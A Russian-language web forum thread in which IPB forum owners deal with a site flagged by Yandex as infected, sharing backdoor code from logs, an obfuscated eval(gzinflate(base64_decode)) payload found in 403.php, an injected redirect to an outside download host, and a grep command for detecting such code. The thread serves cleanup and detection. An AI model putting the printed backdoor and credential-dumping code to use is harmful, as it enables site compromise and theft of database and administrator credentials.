Jump to content
Дизайн и модификация IPS Community IPBSkinsBETA
Search In
  • More options...
Find results that contain...
Find results in...
Sign in to follow this  
Karagor

Яндекс обнаружил вредоносный код на форуме

Recommended Posts

Не могу понять, что происходит с форумом , Яша его заблокировал, лицензия - все патчи стоят, вирусов я не обнаружил, и на протяжении недели то разблокирует то заблокирует.

Результат выборочной проверки выпадают разные страницы.

 

Ссылка на зараженную страницу.

 

Айболита запустил, ждём.

Share this post


Link to post
Share on other sites

По логам одного форума, через бэкдор пытались выполнить такой код (интересные места):

 

Вывод всей информации о настройках базы данных (пользователь, пароль, префикс) и содержимого htaccess:

 

$out .= "---------------=-=pong1234321=-=--------------------------<br>\n";
$out .= "sql_host: {$INFO['sql_host']}<br>\n";
$out .= "sql_port: {$INFO['sql_port']}<br>\n";
$out .= "sql_database: {$INFO['sql_database']}<br>\n";
$out .= "sql_user: {$INFO['sql_user']}<br>\n";
$out .= "sql_pass: {$INFO['sql_pass']}<br>\n";
$out .= "sql_tbl_prefix: {$INFO['sql_tbl_prefix']}<br>\n";
$out .= "ACP: {$acp}<br>\n";
$out .= "htaccess: {$hta}<br>\n";
$out .= "htpasswd: {$htp}<br>\n";
$out .= "-----------------------------------------<br>\n";

Вывод администраторов (пользователей группы с доступом в АЦ):

 

while($row = mysql_fetch_assoc($res))
{
	$ag = intval($row['g_id']);
	$sql = "SELECT member_id,name,email,member_group_id,members_pass_hash,HEX(members_pass_salt)FROM {$INFO['sql_tbl_prefix']}members WHERE member_group_id={$ag} OR mgroup_others LIKE '%,{$ag},%' OR mgroup_others='{$ag}' OR mgroup_others LIKE '{$ag},%' OR mgroup_others LIKE '%,{$ag}' ORDER BY member_id ASC";

	$res2 = mysql_query($sql);
	if(!$res2)
	{
		$err = mysql_error($mysql_conn);
		echo "Mysql query failed: $err";
		return;
	}

	while($row2 = mysql_fetch_assoc($res2))
	{
		$data = implode("|:|", $row2);
		$data = htmlentities($data);
		$out .= "$data<br>\n";
		$names[] = $row2['name'];
	}
}

Логи авторизации в АЦ:

 

foreach($names as $name)
{
	$hname = mysql_hex_encode($name);
	$sql = "SELECT admin_post_details,admin_time FROM {$INFO['sql_tbl_prefix']}admin_login_logs WHERE admin_success=1 AND admin_username=$hname ORDER BY admin_time DESC LIMIT 1";
	$res = mysql_query($sql);
	if(!$res)
	{
		$err = mysql_error($mysql_conn);
		echo "Mysql query failed: $err";
		return;
	}

	while($row = mysql_fetch_assoc($res))
	{
		$data = implode("|:|", $row);
		$data = htmlentities($data);
		$out .= "{$name}|:|$data<br>\n";
	}
}

 

Логи авторизации видно нужны для того, чтобы расшифровать хеши паролей. По ним можно узнать длину пароля и последний символ.

 

Это еще раз говорит о том, что каждый раз после обнаружения вредоносного кода нужно менять все доступы администраторов на форуме и бд.

  • Upvote 1

Share this post


Link to post
Share on other sites

Ссылка на зараженную страницу.

Какой вердикт яндекса для этой страницы?

Share this post


Link to post
Share on other sites

Cайт содержит код, который может быть опасен для посетителей.В результатах поиска сайт выводится с предупреждающей пометкой.

 

Жму поведенческий анализ. - любой заражённой ссылки и попадаю

Share this post


Link to post
Share on other sites

Нашел айболит вирус, оч долго проверял. (AI-BOLIT-DOUBLECHECK.php)

 

Зараза сидела сайт/forum/public/403.php, и получалась, что все вложенные картинки заражены.

 

<?php $p0="";$p1="artemv_forum";$p2="m54946545";$p3="artemv_forum";$p4='../uploads';$F=__FILE__;
eval(gzinflate(base64_decode("dVVpj6JYFP0rToVpNVZaFheM4yQubIKCiAj29FRYHos89kWhUv99cKorqe7JfIDknXvPPfedkINTRlbhx1FH6yHc8Rnhj/1XRFiE5kteZBBEvQcyR3afEa5FnDjrIf4CnSP+H8iufQ8GLVFaIP7viDBHskWc2Y/Ob4j/vf/3vwe+PUjf22Hv6MLy2hFZf/6WgaLMok6Lz9+cj31Au5D1jASg7r+6MDYN2EHoZyR/RpLR/AcDVAbsuY0fOdAoQE/rmUYOJqMXG1ixDVp+/31AvxVBVEpeYHPf6fl5Dooe8sJQyrduBbK8let+7/dfgeXFnSf1Hek8CH9FT3Nw94v52yeeTB1O1LHl5r7d8r58+Q/0iuSLX8GH8oeBef9PfDzud9q2vDRbtIWesecH9mj7DUnQtpigiy6MLQN6cV505wj0o6Cz6IR1nsIXK44iYLXrJGjrCNY+eH/+XsoBbCsvttkWif4P3STOHyLdEXGxs+7jslrvyXBQ06zowMYZCi0Tes2s/WuRWmy48fZGRA6EdMYuxTMhJqu95o/pS53ZEg1Zk6uhPBb0eEiOM3t8a5cZLeFUU6tZFvi3dMBDQdTljYnnQhCiwzM/vVyZqeVU2OC88u/pmctolU69oShrsEQ9sdqvZWog2se0ckicUtyTEq8O071t3uTaBhyaRlTtWWmJTwHq6k2+DVELnVR1eYxUANOJscGFMTmsjIl4aUgzD5VhIozFqwaLZV1ciigf6rvbYvH0/NlybPz4NgDMwc82Mc7oQHzYxLo+4STcxhIyYsWBs0W6Ia9ywSTWAtMg7jgLtAl1p1Rcr2zdAeUtXpKENfK3Jrrkrs6uWR0I1bP5jerdTcUgCrbG5CYnhj4v6kxM69jhfoizEDphuXUHesMlgKsowp2a6xOljojzdGta68ow2DCf4JIa77VE8C7s9eDfY7ypKj25Ly/yutYFzJTP+PCu+mOWGKJXaonBWnVZWsRClJS33qAci/sTo0SVt2G3pAZpER7IYrWjDZz0Dvjt5I6uHLq7nZ0g2Hq5oYw2dC4JIz0OMG2PC6uaIAMAioZovMEyqCcHerIqxckRP8FiaDkXVdqnGUS5n6xG/9dq8zTdOB9WMzVqaJzNCFuvyK3teBeLkt2oQaO7x7qgK20Lio1F4s51Y9zzhM+g4mZ46OUXBY3xXbK2ZulawtC1zJT13VsXPFod7YgfaK64OokevAVj3WEUcd/wJYWO8FQglkdMZHFtK4HsnFrL2aG5cVsQzdBlpgQ7hcdQZ3vwuR0dUGpZygMN0xtPn4IslMLLmsEL0RV0rxx4xiy0rxcvtLZrm2B34XDNLA1yKOlSJsUS709OHkYz2QYGSerjFzzh5EiOITZwqRN7O18KvjGcRkIzMIAcugGaKpgbT2EsvZ5NeG0j80vdPxHQIW8hALdR6WrOLAPEeV/YBqxEsRwrihKzYiNelotf7CfwD/tf32MiLUFW97p+lIOs6PhREXf8xHyBsev2invR77ThWoK899T9+k7IgAFfQG4ZCXj8CvzI/QjR99T72n3qdz9CyIJx3ibwI7Na2bfOPw==")));

?>

Share this post


Link to post
Share on other sites
Зараза сидела сайт/forum/public/403.php

Такие примитивные бэкдоры можно искать даже без ай-болита.

 

find . -name '*.php' | xargs grep -inP '(eval|base64_decode|gzinflate)[ ]*\(' > ./result.txt

  • Upvote 1

Share this post


Link to post
Share on other sites

Да, попытался запустить скрипт айболит, но что-то он вылетает в 504 Gateway Time-out.

Почитал у них на сайте ФАК, пошел запускать через SSH

 

Запустил, ждем-с 55к файлов...

 

Айболит медленный. И у меня тоже в 504 вываливается.

Есть аналог. fscure он пошустрее.

 

Сегодня столкнулся с этой же проблемой.

Чистка файла /cache/skin_cache/cache_%id/skin_global.php не помогла. Позавчера почистил, сегодня опять то же самое.

 

Накатил патчи на форум, жду.

Share this post


Link to post
Share on other sites

И не поможет. Прочитайте еще раз сообщения на этой, на предыдущей и на первой странице как правильно надо лечить форум от этой заразы - сто раз было сказано, что удалением кода вы устраняете следствие а не причину. Для эффективного лечения к задаче нужно подходить комплексно.

  • Upvote 1

Share this post


Link to post
Share on other sites

Та ссш недоступен. По запросу поиск сделали.

Я юзаю такой скрипт. Специально писал для таких случаев, когда нет ssh или нужен быстрый поиск по примитивным бэкдорам типа eval и тп. Быстро, дешево и сердито.

scan.php

  • Upvote 2

Share this post


Link to post
Share on other sites

Спасибо, сохранил. Какой принцип его работы, я так понимаю он запускается в строке браузера, а дальше. Какой будет вывод заражённых фалов.? нету живого проекта проверить.

Share this post


Link to post
Share on other sites

А-ля айболит, только без подсветки и прочих плюшек, тупо поиск по файлам и вывода найденной строки.

  • Upvote 1

Share this post


Link to post
Share on other sites

@kgb, я конечно за ссылок по теме безопасности, но там обсуждается одна политика Content Security нежели уязвимости с которыми столкнулись в IPB, а таких ссылок я могу привести сотнями. К конкретному случаю этой волны взломов ипб СSP ничем не поможет, ибо там отрабатывает локальный жаваскрипт и взлом происходит на уровне php скриптов:

 

print("document.location='http://filestore321.com/download.php?id={$m}'");

Content Security Policy подойдет для xss и всяких партнерских скриптов где могут подгружать все что угодно. Актуальность она получила из-за проблемы с google adwords'ом откуда через внедряемые скрипты в рекламе адсенса сливают трафик - тема уже довольно известная. Но ее еще нужно правильно настроить, да и вообще не грузить скрипты со всяких левых сайтов. У среднестатистического владельца IPB, обычно школьного возраста, целый зоопарк из счетчиков и всяких партнерок, а те чуть ли не в каждый месяц любят менять домен. И либо все это добро отвалится, либо владельцу придется следить за актуальностью политики.

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
Sign in to follow this  

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...